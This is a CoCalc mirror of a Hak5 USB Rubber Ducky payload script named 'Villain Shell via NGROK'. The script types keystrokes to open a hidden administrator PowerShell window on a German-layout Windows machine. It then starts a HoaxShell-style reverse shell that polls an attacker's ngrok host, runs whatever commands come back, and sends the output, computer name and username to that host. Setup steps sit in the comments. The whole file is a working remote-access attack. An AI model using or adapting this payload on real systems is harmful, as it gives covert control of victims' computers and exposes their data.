Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/library/remote_access/VillainShellviaNGROKTunnel/payload.txt
2964 views
1
REM Villain Shell via NGROK
2
REM HackingMark
3
REM DESCRIPTION This Script spawns a Admin Powershellwindow and executes the Villain Payload throug an NGROK Tunnel in the Background(Win10)/minimized(Win11)
4
5
REM Villain Hoaxshell by T3l3machus on Github: https://github.com/t3l3machus/Villain
6
REM What to do before: Start Villain.py on your System and create a Payload (generate os=windows lhost=0.0.0.0 lport=8080) to get the $i value
7
REM take the generated Value from $i and paste it in line 11-13
8
REM Start Ngrok Tunnel (ngrok http 8080)
9
REM Put your NGROK HTTPS Link here
10
DEFINE #NGROK Example.com
11
REM Split your Sessionnumber into 3 parts eg $i='4ba4f358-322d5df5-f4516c91'
12
DEFINE #SN1 4ba4f358
13
DEFINE #SN2 322d5df5
14
DEFINE #SN3 f4516c91
15
16
17
DELAY 2000
18
GUI x
19
DELAY 200
20
STRING a
21
DELAY 500
22
ALT j
23
REM The Part above needs to be adapted to your language, code is for German System Layouts
24
DELAY 1000
25
STRING powershell -w h -NoP -NonI -ep Bypass -C {$s='
26
STRING #NGROK
27
STRING ';$i='
28
STRING #SN1
29
STRING -
30
STRING #SN2
31
STRING -
32
STRING #SN3
33
STRING ';$p='h'+'ttps://';$v=Invoke-RestMethod -UseBasicParsing -Uri $p$s/
34
STRING #SN1
35
STRING /$env:COMPUTERNAME/$env:USERNAME -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="asd"};for (;;){$c=(Invoke-RestMethod -UseBasicParsing -Uri $p$s/
36
STRING #SN2
37
SPACE
38
STRING -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="asd"});if ($c -ne 'None') {$r=Invoke-Expression $c -ErrorAction Stop -ErrorVariable e;$r=Out-String -InputObject $r;$x=Invoke-RestMethod -Uri $p$s/
39
STRING #SN3
40
SPACE
41
STRING -Method POST -Headers @{"Authorization"=$i;"ngrok-skip-browser-warning"="asd"} -Body ([System.Text.Encoding]::UTF8.GetBytes($e+$r) -join ' ')} sleep 0.8}}
42
ENTER
43
44